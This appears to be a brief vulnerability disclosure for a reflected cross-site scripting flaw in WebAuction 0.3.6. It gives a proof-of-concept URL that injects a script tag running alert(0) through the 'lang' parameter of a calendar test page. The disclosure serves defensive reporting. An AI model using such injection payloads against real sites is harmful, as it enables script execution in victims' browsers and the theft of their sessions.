------------------------------------------------------------------------
Software................WebAuction 0.3.6
Vulnerability...........Reflected Cross-site Scripting
Threat Level............Low (1/5)
Download................http://apps.weblite.ca/index.php?-action=view&-table=packages&package_id=1
Discovery Date..........4/30/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A reflected cross-site scripting vulnerability in WebAuction 0.3.6 can
be exploited to execute arbitrary JavaScript.


--PoC--

http://localhost/webauction-0.3.6/dataface/lib/jscalendar/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(0)//